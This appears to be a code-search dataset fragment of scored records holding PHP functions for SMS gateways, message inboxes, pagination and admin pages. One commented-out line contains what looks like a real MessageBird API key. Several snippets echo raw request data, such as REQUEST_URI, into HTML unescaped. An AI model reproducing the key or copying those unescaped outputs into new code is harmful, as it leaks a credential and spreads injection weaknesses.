"function sms_gateway_contact_detail_page() {\n return 'Contact detail page.';\n}", "title": "" }, { "docid": "896857db8666cd0e055e55875fe547ad", "score": "0.5898962", "text": "public function index()\n {\n $sms = new SmsManage();\n $data = $sms::orderBy('duration', 'asc')->Paginate(6);\n\n return response([\n \"status\" => 200,\n \"data\" => $data\n ]);\n }", "title": "" }, { "docid": "c9d3a6728e4361cfd6203ba26a137996", "score": "0.5880438", "text": "function page() {\n\t\tglobal $socialflow;\n\t\t// Get all user publish accounts\n\t\t$accounts = $socialflow->accounts->get( array( array( 'key' => 'service_type', 'value' => 'publishing' ) ) ); ?>\n\n\t\t<div class=\"wrap socialflow\">\n\t\t\t<h2><?php esc_html_e( 'Messages', 'socialflow' ); ?> <a class=\"button\" href=\"<?php echo esc_url( admin_url( 'admin.php?page=' . $this->slug . '&sf_action=update_queue' ) ); ?>\">Update messages.</a></h2>\n\n\t\t\t<?php if ( empty( $accounts ) ): ?>\n\t\t\t\t<p><?php _e( \"You don't have any accounts on SocialFlow.\", 'socialflow' ) ?></p>\n\t\t\t<?php return; endif ?>\n\n\t\t\t<?php foreach ( $accounts as $account ): ?>\n\t\t\t\t<?php $this->render_queue( $account ) ?>\n\t\t\t<?php endforeach ?>\n\n\t\t</div>\n\t\t<?php\n\t}", "title": "" }, { "docid": "41d7b50b90080f2ebf856483dd8592ea", "score": "0.58392495", "text": "function twilio_page_sms() {\n\tinclude_once( 'pages/sms.php' );\n}", "title": "" }, { "docid": "aab9de87597d544765abcbf99c93ec9b", "score": "0.5828657", "text": "public function actionBrowse()\n {\n $lp = new BlockParams([\n 'base_path' => 'platform/mail/controller/admin/transport/browse-transport',\n ]);\n\n $query = [];\n\n $paging = app()->mailService()\n ->loadAdminTransportPaging($query, 1, 100);\n\n $this->view->setScript($lp)\n ->assign([\n 'paging' => $paging,\n 'lp' => $lp,\n 'query' => $query,\n ]);\n }", "title": "" }, { "docid": "13bed25f665f8de45b04d4e0c64ff521", "score": "0.58068305", "text": "public function showMessages() {\n\n checkUnauthorizedAccess();\n\n $myID = UserRepository::getIdByUsername($_SESSION['username']);\n $messages = MessageRepository::getMessages($myID);\n\n $main = new Main();\n $body = new ShowMessages();\n $body->setMessages($messages);\n echo $main->setPageTitle(\"Messages\")->setBody($body);\n }", "title": "" }, { "docid": "d3f7c1d8770f1e210c268053cba85086", "score": "0.580339", "text": "public function sendMessages()\n {\n $send_messages = SendMessage::where('sender_id', Auth::id())->paginate(10);\n return view('pages.developer.message.sent_list', ['send_messages' => $send_messages]);\n }", "title": "" }, { "docid": "6c9d904cfa55bbac41d88f646d2fba9b", "score": "0.5800667", "text": "public function index()\n {\n //\n // $MessageBird = new MessageBird('ZIwAaEaORkZ5zYzuDWPJQHiVo');\n // $messageList = $MessageBird->messages->getList();\n // dd($messageList);\n return view('sms.index');\n }", "title": "" }, { "docid": "93c469e9746f6ba2b25bf895333b3a2b", "score": "0.5786155", "text": "public function index()\n {\n return view('administrator.sms.sms');\n }", "title": "" }, { "docid": "f4dc552272fbf83f4a7fc2d767a5efde", "score": "0.5773626", "text": "function sent_item_list(){\r\n\t\t\r\n\t\t$query = isset($_POST['query']) ? @$_POST['query'] : \"\";\r\n\t\t$start = (integer) (isset($_POST['start']) ? @$_POST['start'] : @$_GET['start']);\r\n\t\t$end = (integer) (isset($_POST['limit']) ? @$_POST['limit'] : @$_GET['limit']);\r\n\t\t$result=$this->m_sent_item->sent_item_list($query,$start,$end);\r\n\t\techo $result;\r\n\t}", "title": "" }, { "docid": "71bff0d4ca4dd8aa5ed889a7cf654c40", "score": "0.57469285", "text": "public function sendBulkSMS()\n {\n $self = 'send-bulk-sms';\n if (Auth::user()->username !== 'admin') {\n $get_perm = Permission::permitted($self);\n\n if ($get_perm == 'access denied') {\n return redirect('permission-error')->with([\n 'message' => language_data('You do not have permission to view this page'),\n 'message_important' => true\n ]);\n }\n }\n\n $client_group = ClientGroups::where('status', 'Yes')->get();\n $phone_book = ImportPhoneNumber::where('user_id', 0)->get();\n $gateways = SMSGateways::where('status', 'Active')->get();\n $sms_templates = SMSTemplates::where('status', 'active')->where('cl_id', '0')->get();\n $country_code = IntCountryCodes::where('Active', '1')->select('country_code', 'country_name')->get();\n $keyword = Keywords::where('user_id', 0)->get();\n\n $schedule_sms = false;\n\n return view('admin.send-bulk-sms', compact('client_group', 'gateways', 'sms_templates', 'phone_book', 'schedule_sms', 'country_code', 'keyword'));\n\n }", "title": "" }, { "docid": "98158c3c8b9559ca7f98f983c4490cee", "score": "0.5744368", "text": "function ShowArticlesByPages()\n {\n $this->PageUser->h1 = $this->multi['TXT_ARTICLE_TITLE'];\n $this->PageUser->breadcrumb = '';\n\n $articles = $this->GetArticlesRows('limit');\n\n $pages = '';\n if (count($articles) > 0) {\n $n_rows = $this->GetArticlesRows('nolimit');\n $link = $this->Link($this->category, NULL);\n $pages = $this->Form->WriteLinkPagesStatic($link, $n_rows, $this->display, $this->start, $this->sort, $this->page);\n }\n\n echo View::factory('/modules/mod_article/templates/tpl_article_by_pages.php')\n ->bind('articles', $articles)\n ->bind('multi', $this->multi)\n ->bind('pages', $pages);\n }", "title": "" }, { "docid": "8bc383be0c0551987008cc1e903dfb3e", "score": "0.5741593", "text": "function listing(){ \n $data['title'] = 'Senarai Selenggaraan';\n $this->_render_page($data);\n }", "title": "" }, { "docid": "82c233be992fc6b604c2188857cd5dc0", "score": "0.5739653", "text": "public function index()\n {\n return Smscontact::paginate(500);\n }", "title": "" }, { "docid": "f192ab2654357167f890cee3b11c201e", "score": "0.572978", "text": "public function getlistPage(){\n\t\t\t$result = \"Aucune page disponible\";\t\n\t\t\t$res = \"\";\n\t\t\t$tab = $this->selectAllPage();\n\t\t\n\t\t\tif ($tab[0] > 0){\n\t\t\t\t$res .= \"<table>\";\n\t\t\t\tfor ($i = 1; $i <= $tab[0]; $i++) {\n\t\t\t\t\t$titrePage = $tab[$i]->getTitre();\n\t\t\t\t\t$resumePage = $resumePage = strip_tags($tab[$i]->getContenu());\n\t\t\t\t\t$idPage = $tab[$i]->getIdentifiant();\n\t\t\t\t\t\n\t\t\t\t\tif (strlen($resumePage) > 150){\n\t\t\t\t\t\t$resumePage = substr($resumePage,0,150) . \"...\";\n\t\t\t\t\t}\n\n\t\t\t\t\t$res .= \"<tr><form method='post' action='?page=access&admin=updatePag&id=\".$idPage.\"'><td>\".$titrePage.\"</td>\";\n\t\t\t\t\t$res .= \"<td>\".$resumePage.\"</td>\";\n\t\t\t\t\t$res .= \"<td><button>Modifier</button></td></form></tr>\";\n\t\t\t\t}\n\t\t\t\t$res .= \"</table>\";\n\t\t\t\t$result = $res;\n\t\t\t}\n\t\t\t\n\t\t\treturn $result;\n\t\t}", "title": "" }, { "docid": "0ab4ce74b91e43673708497eb8a4572a", "score": "0.5723113", "text": "function sent_list($type=0, $start =0)\n\t{\n\t\t\t$link \t\t\t\t\t=breadcrumb();\n\t\t\t$data['breadcrumb'] \t=$link;\n\t\t/* Breadcrumb Setup End */\n\n\t\t$data['page_title'] \t= \"Sent Messages\";\n\t\t\n\t\t$where\t\t\t\t =array('oxs.suggestion_sender' =>$this->sessid); //'oxs.suggestion_status' =>$type, \n \t $data['rs']\t\t =$this->mod_suggestions->get_sent_messages($where);\n\n \t \n\t \n\t\t$data['page_content']\t =$this->load->view('messages/messages_sent_list', $data, true);\n\t\t$this->load->view('publisher_layout', $data);\n\t}", "title": "" }, { "docid": "e455b1b75fe6aacf091bb592955298f3", "score": "0.5713157", "text": "public function index()\n {\n $smsTemplates = SmsTemplate::paginate(25);\n\n return view('sms_templates.index', compact('smsTemplates'));\n }", "title": "" }, { "docid": "33788b713620827bae2c1cde09a1381e", "score": "0.57105345", "text": "public function page() {\n\t\t$this->load->model('script');\n\t\t$script = new Script();\n\t\t$imageFileRequested = $this->uri->segment(4);\n\t\t$splitAroundPipe = explode('-',$imageFileRequested);\n\t\t$scripNum = $splitAroundPipe[0];\n\t\t$splitOnFullstop = explode('.',$splitAroundPipe[1]);\n\t\t$pageNum = $splitOnFullstop[0];\n\t\t$script->retrieve($scripNum);\n\t\t$pageFile = $script->pages->getPageKeyAt((int)$pageNum);\n\t\t$this->_outputPage($pageFile);\n\t}", "title": "" }, { "docid": "98cf2a4cbf7982bb2cfbe773e96926a2", "score": "0.57058835", "text": "function negeri_listing(){\n $data['title'] = \"Senarai Kod Negeri\";\n $this->authentication->check();\n $this->_render_page($data);\n }", "title": "" }, { "docid": "1f0e344f2d38bdec4fd45bfa666d4fef", "score": "0.56961256", "text": "private function runPage(){\n list($source, $formOptions, $logStatus, $tableData, $studentData, $studentSchools) = $this->model->preparePageContent($this->nav);\n print $this->view->pageView($source, $formOptions, $logStatus, $tableData, $this->url, $studentData, $studentSchools);\n }", "title": "" }, { "docid": "d59a26afa100d014db8776e12fecfd85", "score": "0.5691498", "text": "function page_msgs(){\n\t\t/***** that page show prpoerly \n\t\t\treqired init() change into -> page_index() \n\t\t\tcomment // parent::init() line \n\t\t******/\n\t\t$this->add('View_Info')->set('Click id is : ' . $_GET['customer_id']);\n\t}", "title": "" }, { "docid": "ec32e8e87e82516a73640e98314e0409", "score": "0.56879455", "text": "function show_pages($data){\n\t\t\n\t\t$total_pages = $data->headers->{'X-WP-TotalPages'};\n\t\t//$page_requested = $_GET['page'];\n\t\t$current_page = (isset($_GET['page'])) ? $_GET['page'] : '1';\n\n\t\tif($total_pages > 1){\n\t\t\n\t\t// echo pages li based on page total\n\t\techo '<ul class=\"block-selector\">';\n\t\tfor($i = 1; $i <= $total_pages; ++$i) {\n\t\t\t\n\t\t\t$class = ($current_page == $i) ? 'class=\"current-page\"' : '';\n\n\t\t\t$_GET['page'] = $i;\n\t\t\t$url_query = http_build_query($_GET);\n\t\t\t\t\t\t\n\t\t\techo '<li><a href=\"?'.$url_query.'\" '.$class.'>'.$i.'</a></li>';\n\t\t}\n\t\techo '</ul>';\n\t\t\n\t\t$_GET['page'] = $current_page;\n\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "c5e43410e109b52db7686408124024a2", "score": "0.56594455", "text": "public function index()\n {\n\n $mboards = MessageBoard::latest()->simplePaginate(5);\n return view('boards.index', compact('mboards'))\n ->with('i', (request()->input('page', 1) - 1) * 5);\n }", "title": "" }, { "docid": "b6fdf197fc46df4a4dfdfb79769ee874", "score": "0.56526804", "text": "public function print_ual_messages_page() { \n \n global $USER, $CFG;\n \n $content = html_writer::start_tag('div', array('class'=>'content messages'));\n $content .= html_writer::start_tag('h1');\n $content .= get_string('yourmessages', 'local_ualmessages');\n $content .= html_writer::end_tag('h1');\n \n $content .= html_writer::start_tag('div', array('class'=>'in-page-controls'));\n $content .= html_writer::start_tag('p', array('class'=>'settings'));\n $content .= html_writer::start_tag('a', array('href'=>$CFG->httpswwwroot.'/message/edit.php?id='.$USER->id));\n $content .= get_string('settings', 'local_ualmessages');\n $content .= html_writer::start_tag('span');\n $content .= html_writer::start_tag('i');\n $content .= html_writer::end_tag('i');\n $content .= html_writer::end_tag('span');\n $content .= html_writer::end_tag('a');\n $content .= html_writer::end_tag('p');\n $content .= html_writer::end_tag('div');\n\n // tabs\n $content .= html_writer::start_tag('ul', array('class'=>'tabs'));\n $content .= html_writer::start_tag('li', array('class'=>'active'));\n $content .= html_writer::start_tag('a', array('href'=>$CFG->httpswwwroot.'/local/ualmessages/'));\n $content .= get_string('recentconversations', 'local_ualmessages');\n $content .= html_writer::end_tag('a');\n $content .= html_writer::end_tag('li');\n $content .= html_writer::start_tag('li');\n $content .= html_writer::start_tag('a', array('href'=>$CFG->httpswwwroot.'/local/ualmessages/contacts.php'));\n $content .= get_string('contacts', 'local_ualmessages');\n $content .= html_writer::end_tag('a');\n $content .= html_writer::end_tag('li');\n $content .= html_writer::start_tag('li', array('class'=>'compose'));\n $content .= html_writer::start_tag('a', array('href'=>'#'));\n $content .= get_string('composeanewmessage', 'local_ualmessages');\n $content .= html_writer::start_tag('span');\n $content .= html_writer::start_tag('i');\n $content .= html_writer::end_tag('i');\n $content .= html_writer::end_tag('span');\n $content .= html_writer::end_tag('a');\n $content .= html_writer::end_tag('li');\n $content .= html_writer::end_tag('ul'); \n \n // filter\n $content .= html_writer::start_tag('div', array('class'=>'filter'));\n $content .= html_writer::start_tag('p');\n $content .= html_writer::start_tag('label');\n $content .= get_string('searchmessages', 'local_ualmessages');\n $content .= html_writer::end_tag('label');\n $content .= html_writer::start_tag('input', array('name'=>'', 'value'=>get_string('enterasearchterm', 'local_ualmessages'),'class'=>'text'));\n $content .= html_writer::start_tag('input', array('type'=>'submit','name'=>'','value'=>get_string('search', 'local_ualmessages'),'class'=>'submit'));\n $content .= html_writer::end_tag('p');\n $content .= html_writer::end_tag('div');\n \n // inbox\n $content .= html_writer::start_tag('div', array('class'=>'inbox'));\n $content .= html_writer::start_tag('ul');\n \n // get unread messages\n $unread_messages = get_messages_unread($USER, 50);\n \n if($unread_messages) {\n $content .= $unread_messages;\n }\n \n // get read messages\n $read_messages = get_messages_read($USER, 50);\n \n if($read_messages) {\n $content .= $read_messages;\n }\n \n \n $content .= html_writer::end_tag('div');\n \n \n \n/* TEMP\n<div class=\"pagination\">\n <p>Page 2 of 14</p>\n <ul>\n <li><a href=\"\">1</a></li>\n <li><a href=\"\">2</a></li>\n <li><a href=\"\">3</a></li>\n <li><a href=\"\">4</a></li>\n <li><a href=\"\">&hellip;</a></li>\n <li><a href=\"\">14</a></li>\n <li class=\"next\"><a href=\"\">Next<span></span></a></li>\n <li class=\"last\"><a href=\"\">Last<span></span></a></li> \n </ul>\n <div class=\"clearfix\"></div> \n</div>\nTEMP */\n $content .= html_writer::end_tag('div');\n \n return $content;\n }", "title": "" }, { "docid": "2570cc7fab9df2bc646e2997b94e2111", "score": "0.5645308", "text": "public function show_page() {\n\t\t$this->prepare_page_navigation();\n\t\t$this->prepare_items();\n\n\t\t$this->views();\n\t\t$this->display();\n\t}", "title": "" }, { "docid": "90d6f2c74489c0f057f7aad96100b5bd", "score": "0.56426954", "text": "public function print_page()\n {\n $data = [ 'result' => $this->response->get_return_code() ] + $this->response->get_response_data();\n\n if ($this->request->sapi == 'cli')\n {\n echo json_encode($data, JSON_PRETTY_PRINT) . \"\\n\";\n }\n else\n {\n echo json_encode($data);\n }\n }", "title": "" }, { "docid": "b2f424942c9194f2009c671476cd5896", "score": "0.5628138", "text": "private function admin_handleSSList()\n {\n // ssm_screenshotPages\n // ssm_numPagesFound\n\n $pages = CommunityContent::getScreenshotPagesForManager(isset($this->get['all']), $nPages);\n $buff = 'ssm_screenshotPages = '.json_encode($pages, JSON_NUMERIC_CHECK).\";\\n\";\n $buff .= 'ssm_numPagesFound = '.$nPages.';';\n\n return $buff;\n }", "title": "" }, { "docid": "0d656cc2bc9c2c7bc6e3c7608bc34d73", "score": "0.56188434", "text": "public function backendSmsMessagingIndexAction()\n {\n $languages = array(\n 'Deutsch' => CommunityUser::USERLANGUAGE_GERMAN,\n 'Französisch' => CommunityUser::USERLANGUAGE_FRENCH,\n 'Italienisch' => CommunityUser::USERLANGUAGE_ITALIAN\n );\n\n $kantons = $this->kantonRepository->findAll();\n $admins = $this->communityUserRepository->findEasyVoteAdminUsers();\n\n if ($admins->count() === 0) {\n $group = $this->frontendUserGroupRepository->findByUid((int)$this->settings['easyvoteAdminUserGroupUid']);\n if ($group instanceof FrontendUserGroup) {\n $groupname = $group->getTitle();\n } else {\n $groupname = '(no group found for uid ' . $this->settings['easyvoteAdminUserGroupUid'] . ')';\n }\n $this->addFlashMessage('Es existiert noch kein FE-User mit der Gruppe \"' . $groupname . '\" für den Testversand');\n }\n\n $dateTime = new \\DateTime();\n $dateTime = $dateTime->format('Y-m-d\\TH:i:s');\n\n $this->view->assignMultiple(array(\n 'languages' => $languages,\n 'kantons' => $kantons,\n 'admins' => $admins,\n 'dateTime' => $dateTime\n ));\n }", "title": "" }, { "docid": "014513a5344e21f92efa69dc99bf31f7", "score": "0.56156486", "text": "public function index()\n\t{\n\t\t$data['sms'] = Sms::with('category')->get();\n\t\treturn View::make('admin..sms.index', $data);\n\t}", "title": "" }, { "docid": "36508d2474be6c00c32a22a2c85cb38c", "score": "0.5608418", "text": "public function index()\n {\n \n return view('admin.messages.index', ['messages'=> Message::latest()->paginate(20)]);\n \n }", "title": "" }, { "docid": "8412df9ec41de7978850fc5b273fdce0", "score": "0.5607416", "text": "function insert_sms_box() {\n // include(dirname(__FILE__).'/class.smsQueries.php');\n\t$smsQueriesClass = new smsQueries();\n\t$setting = $smsQueriesClass->setting();\n\tif (get_the_ID() != $setting->pageid) {\n\t\tinclude(dirname(__FILE__).'/class.free-sms-page.php');\n\t\t$sms = new Sms_page();\n\t\t$html = $sms->fixed_link($setting);\n\n\t\techo $html;\n\t}\n\treturn;\n}", "title": "" }, { "docid": "c74c66779851e3a6eefc61fe581b44f5", "score": "0.5567648", "text": "function outputPageContent($content,$messageToPage = \"10\")\r\n\t{\r\n\t\tglobal $page,$quantityPages,$div,$resetline,$quantityMessages;\r\n\t\t$contentArray = explode($resetline,$content);\r\n\t\t$quantityMessages = sizeof($contentArray)-1;\r\n\t\t@$quantityPages = ceil($quantityMessages/$messageToPage);\r\n\t\t$contentString = \"\";\r\n\t\tfor($i = $messageToPage*($page-1);$i < $messageToPage*($page-1)+$messageToPage;$i++)\r\n\t\t{\r\n\t\t\tif ($contentArray[$i] != \"\")\r\n\t\t\t\t$contentString .= $contentArray[$i].$div;\r\n\t\t}\r\n\t\treturn $contentString;\r\n\t}", "title": "" }, { "docid": "c10cd5afa81b9d0397e62effcce81c42", "score": "0.5565323", "text": "public function pagination()\n {\n $count_messages = Book::messagesCount();\n $count_show_pages = MessagesPerPage;\n $count_pages = ceil($count_messages/$count_show_pages);\n $active = (!empty($_GET['page']))?$_GET['page']:1;\n $request = '';\n if (!empty($_GET['sortby'])) {\n $request .= 'sortby='.$_GET['sortby'];\n }\n if (!empty($_GET['sort'])) {\n $request .= 'sort='.$_GET['sort'];\n }\n $url = URL.((!empty($request))?'?'.$request:'');\n $url_page = '?'.$request.((!empty($request))?'&':'').'page=';\n\n if ($count_pages > 1) {\n ob_start();\n ?>\n <ul class=\"pagination\">\n <?php for ($i = 1; $i <= $count_show_pages; $i++){ ?>\n <li class=\"<?php echo ($i == $active)?'active':'';?>\"><a href=\"<?php echo ($i === 1)?$url: $url_page.$i ;?>\"><?php echo $i; ;?></a></li>\n <?php } ?>\n </ul>\n <?php }\n return ob_get_clean();\n\n }", "title": "" }, { "docid": "92dcf03f539201ecd15c9741f8a246ae", "score": "0.5558245", "text": "function displayPageFromCMS($CID)\n\t{\n\t\tglobal $cmstable;\n\t\t$arrResult\t=\tarray();\n\t\t$this->dbcon->execute_query(\"select * from \".$this->table.\"{$cmstable} where id = $CID\") ;\n\t\t$arrTemp = $this->dbcon->fetch_records(true) ;\n\t\tif (is_array($arrTemp)) {\n\t\t\t$arrResult = $arrTemp[0];\n\t\t\t$arrResult['aboutPage']\t=\tstripcslashes(html_entity_decode($arrTemp[0]['body']));\n\t\t}\n\t\treturn $arrResult;\n\t}", "title": "" }, { "docid": "30edb7a0bc0152191c42429618632804", "score": "0.5552376", "text": "function controller_attachment_list($page_name) {\n $page = try_textblock_get($page_name);\n identity_require('textblock-list-attach', $page);\n\n $view = array();\n $options = pager_init_options();\n\n $attach_list = attachment_get_all($page_name, \"%\", $options['first_entry'],\n $options['display_entries']);\n //FIXME: hack for numbering\n for ($i = 0; $i < count($attach_list); ++$i) {\n $attach_list[$i]['id'] = $options['first_entry'] + $i + 1;\n }\n $view['attach_list'] = $attach_list;\n $view['page_name'] = $page['name'];\n $view['title'] = 'Atasamentele paginii '.$page['title'];\n $view['total_entries'] = attachment_get_count($page_name);\n $view['first_entry'] = $options['first_entry'];\n $view['display_entries'] = $options['display_entries'];\n\n execute_view_die('views/listattach.php', $view);\n}", "title": "" }, { "docid": "1764c88dbef0067374391129aa4e3b60", "score": "0.55517167", "text": "public function index()\n {\n $this->view = false;\n // Check for number, keywords in message\n if( (isset($this->mobile_number)) && (isset($this->message)) )\n {\n // Explode message to get keywords separator is space\n $this->message = preg_replace('/[\\.]+$/', '', $this->message);\n $this->message = preg_replace('/[\\.\\_\\-\\W]+/', ' ', $this->message);\n $message = strtolower($this->message);\n $exploded_message = explode(' ', $message);\n $keyword = strtolower($exploded_message[0]);\n // PASSED vs FAILED Texts\n $outgoing_text = (in_array($keyword, array('price','join','start','sub','sell','sale','buy','aggregate'))) ? 1 : 0;\n $post = array(\n 'number' => $this->mobile_number,\n 'message' => $this->message,\n 'network' => $this->network,\n 'outgoing_texts' => $outgoing_text\n );\n // Save incoming sms\n self::save_incoming_sms($post);\n switch ($keyword)\n {\n case 'price':\n self::price_sms($message);\n break;\n case 'join':\n case 'start':\n case 'sub':\n self::subscribe($message);\n break;\n case 'sell':\n case 'sale':\n self::sell_sms($message);\n break;\n case 'buy':\n self::buy_sms($message);\n break;\n case 'aggregate':\n self::aggregate_sms($message);\n break;\n default:\n self::default_sms($message);\n break;\n }\n }\n }", "title": "" }, { "docid": "b5ce759af27cd0f6724ed187d36fc9af", "score": "0.55466014", "text": "public function index()\n {\n return view('admin.sms.sms')->with('success'); \n }", "title": "" }, { "docid": "9fde6cc410257b6c94cbc4274279df16", "score": "0.55445117", "text": "public function list_archive_upload_phone_page($page=0, $entry=100){\n $result = new MessageResult();\n $all = ($this->userrole==1000)?1:0;\n $this->load->model(\"uploadphonearchive_model\");\n $page =(int) $page;\n $entry =(int) $entry;\n $result->result = $this->uploadphonearchive_model->get_phones_page($this->userid , $page, $entry , $all);\n echo (json_encode($result)); \n }", "title": "" }, { "docid": "18439d1991640f1eb5b94ee851fe9ddf", "score": "0.55425626", "text": "public function pageread()\n {\n $id_page = $this->request->getParameter(\"id\");\n $page = $this->page->getPage($id_page);\n $this->generateadminView(array(\n 'page' => $page\n ));\n }", "title": "" }, { "docid": "ae87f44118b98a93ac0d251547dc49c1", "score": "0.5539635", "text": "public function moreAction(){\n\t $page = intval($this->getInput('page'));\n\t\tif ($page < 1) $page = 1;\n\t\t\n\t\t$intersrc = $this->getInput('intersrc');\n\t\t$webroot = Common::getWebRoot();\n\t\t\n\t\tlist($total, $Web_games) = Client_Service_Channel::getList($page, $this->perpage, array('ctype'=>2, 'game_status'=>1), array('sort'=>'DESC','game_id'=>'DESC'));\n \t$game_ids = Common::resetKey($Web_games, 'game_id');\n \t$game_ids = array_unique(array_keys($game_ids));\n \tif ($game_ids) {\n \t\tforeach($game_ids as $key=>$value) {\n \t\t\t$info = Resource_Service_Games::getGameAllInfo(array('id'=>$value));\n\t \t\tif ($info) $games[] = $info; \n \t\t}\n \t}\n \t\n \t//判断游戏大厅版本\n \t$temp = array();\n \t$checkVer = $this->checkAppVersion();\n \t//位置计算\n \t$pos = ($page - 1) * $this->perpage; \n \t$i = 1 ;\n\t\tforeach($games as $key=>$value) {\n\t\t\t$src = $intersrc.'_GID'.$value['id'];\n\t\t\t$href = urldecode($webroot.$this->actions['detailUrl']. '?id=' . $value['id'].'&pc=1&intersrc=' . $src . '&t_bi='.$this->getSource());\n\t\t\tif ($checkVer >= 2) {\n\t\t\t\t//加入评测链接\n\t\t\t\t$evaluationId = Client_Service_IndexAdI::getEvaluationByGame($value['id']);\n\t\t\t\t$evaluationUrl = '';\n\t\t\t\tif ($evaluationId) {\n\t\t\t\t\t$evaluationUrl = ',评测,' . $webroot . '/client/evaluation/detail/?id=' . $evaluationId . '&pc=3&intersrc=' . $src . '&t_bi=' . $this->getSource();\n\t\t\t\t}\n\t\t\t\t//附加属性处理\n\t\t\t\t$attach = array();\n\t\t\t\tif ($evaluationId)\tarray_push($attach, '评');\n\t\t\t\tif (Client_Service_IndexAdI::haveGiftByGame($value['id'])) array_push($attach, '礼');\n\t\t\t}\n\t\t\t\n\t\t\t$data = array(\n\t\t\t\t\t\t'id'=>$value['id'],\n\t\t\t\t\t\t'name'=>$value['name'],\n\t\t\t\t\t\t'resume'=>$value['resume'],\n\t\t\t\t\t\t'size'=>$value['size'].'M',\n\t\t\t\t\t\t'link'=>Common::tjurl($this->actions['tjUrl'], $value['id'], $src, $value['link']),\n\t\t\t\t\t\t'alink'=>urldecode($webroot.$this->actions['indexlUrl']. '?id=' . $value['id'].'&pc=1&intersrc='.$src.'&t_bi='.$this->getSource()),\n\t\t\t\t\t\t'img'=>urldecode($value['img']),\n\t\t\t\t\t\t'profile'=>$value['name'].','.$href.','.$value['infpage'],\n\t\t\t);\n\t\t\t\n\t\t\tif ($checkVer >= 2) {\n\t\t\t\t//js a 标签 data-infpage 参数数据\n\t\t\t\t$data_info = '游戏详情,'.$href.','.$value['id'];\n\t\t\t\t$data['profile'] = $evaluationId ? $data_info . $evaluationUrl : $data_info;\n\t\t\t\t$data['attach'] = ($attach) ? implode(',', $attach) : '';\n\t\t\t\t$data['device'] = $value['device'];\n\t\t\t\t$data['data-type'] = 1;\n\t\t\t}\n\t\t\t$temp[] = $data;\n\t\t\t\n\t\t $i++;\n\t\t}\n\t\t\n\t\t$hasnext = (ceil((int) $total / $this->perpage) - $page) > 0 ? true : false;\n\t\t$this->output(0, '', array('list'=>$temp, 'hasnext'=>$hasnext, 'curpage'=>$page));\n\t\t$this->assign('hasnext', $hasnext);\n\t\t$this->assign('games', $games);\n\t\t$this->assign('page', $page);\n\t}", "title": "" }, { "docid": "543215e88ee39b6f361726f76b134811", "score": "0.5533592", "text": "public function indexAction()\n {\n $this->tag->setTitle(__('Messages'));\n // Available sort to choose\n $this->filter->add('in_array', function($value) {\n return in_array($value, ['client_id', 'client_id DESC', 'content', 'contentt DESC', 'date', 'date DESC', 'status', 'status DESC', 'title', 'title DESC']) ? $value : null;\n });\n\n // Check if limit to client's messages\n if ($client = $this->request->getQuery('client', 'int', null, true)) {\n $data = Messages::find(['client_id = :client:', 'order' => $this->request->getQuery('order', 'in_array', 'id', true), 'bind' => ['client' => $client]]);\n } else {\n $data = Messages::find(['order' => $this->request->getQuery('order', 'in_array', 'id', true)]);\n }\n\n // Get messages and prepare pagination\n $paginator = new Paginator([\n \"data\" => $data,\n \"limit\" => $this->request->getQuery('limit', 'int', 20, true),\n \"page\" => $this->request->getQuery('page', 'int', 1, true)\n ]);\n\n $this->view->setVars([\n 'pagination' => $paginator->getPaginate(),\n ]);\n }", "title": "" }, { "docid": "4ae859c7c6fe5feb220dc1b9e7067455", "score": "0.5527816", "text": "public function show() {\n\t\t$pageCount = ceil( $this->total / $this->per_page );\n\t\t$prev = $this->page - 1;\n\t\t$next = $this->page + 1;\n\n\t\t?>\n\n <div class=\"tablenav-pages\">\n <span class=\"pagination-links\">\n <a class=\"button prev-page\" href=\"<?=$_SERVER['REQUEST_URI'] ?>&p=<?=$prev?>\">\n <span class=\"screen-reader-text\">برگه قبل</span>\n <span aria-hidden=\"true\">‹</span>\n </a>\n\n <span id=\"table-paging\" class=\"paging-input\">\n <span class=\"tablenav-paging-text\"><?= $this->page ?> از <span\n class=\"total-pages\"><?= $pageCount ?></span></span>\n </span>\n <a class=\"button next-page\" href=\"<?=$_SERVER['REQUEST_URI'] ?>&p=<?= $next ?>\">\n <span class=\"screen-reader-text\">برگه بعد</span>\n <span aria-hidden=\"true\">›</span>\n </a>\n </span>\n </div>\n\n\t\t<?php\n\t}", "title": "" }, { "docid": "eb510284be011a0d6563c8daef69e6b5", "score": "0.5519046", "text": "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist($total, $partners) = Wifi_Service_Ptner::getList($page, $perpage);\n\t\t\n\t\t$this->assign('partners', $partners);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t}", "title": "" }, { "docid": "a0367b344e11b1c33d2526894a7d8abf", "score": "0.5510917", "text": "public function index()\n {\n $contactmessage = ContactMessage::orderBy('readed', 'asc')->orderBy('id', 'desc')->paginate(25);\n\n return view('admin.contact-message.index', compact('contactmessage'));\n }", "title": "" }, { "docid": "59c97f96400b05c7b9f7c38a30265ffb", "score": "0.5506524", "text": "public function sendQuickSMS()\n {\n\n $self = 'send-quick-sms';\n if (Auth::user()->username !== 'admin') {\n $get_perm = Permission::permitted($self);\n\n if ($get_perm == 'access denied') {\n return redirect('permission-error')->with([\n 'message' => language_data('You do not have permission to view this page'),\n 'message_important' => true\n ]);\n }\n }\n\n $gateways = SMSGateways::where('status', 'Active')->get();\n $country_code = IntCountryCodes::where('Active', '1')->select('country_code', 'country_name')->get();\n\n return view('admin.send-quick-sms', compact('gateways', 'country_code'));\n }", "title": "" }, { "docid": "fdf03213bddb3b3fb5cfe532ceea06fc", "score": "0.5506326", "text": "public function pg() {\n $this->template->write('conteudo', $this->session->flashdata('msg'));\n $n = 10;\n //segment sao as partes da url, primeiro parametro eh a parte e o segundo eh o default\n $ate = $this->uri->segment(4, 0);\n $conteudos = $this->conteudo_m->listar($n, $ate);\n $total = $this->conteudo_m->listar();\n $this->template->write_view('conteudo', 'admin/listar', array('conteudos' => $conteudos->result_array()));\n $this->template->write_view('conteudo', 'admin/pagination', array('total' => $total->num_rows()));\n $this->template->render();\n }", "title": "" }, { "docid": "4c0f5fdc2f182aa334c93558f7fb6812", "score": "0.5503407", "text": "function slpagebar($thispage = '',$showlist = 'unchecked',$nshow = 1,$npages = 1,$pg = 1,$slquery = '') {\r\n\t\techo '<div style=\"background-color:#dddddd;padding:2px 0 2px 0;\">'.\"\\n\";\r\n\t\techo '<small>';\r\n\t\techo _SITELIST_PAGE.' '.$pg.' '._SITELIST_OF.' '.$npages.' |';\r\n\t\techo ' <a 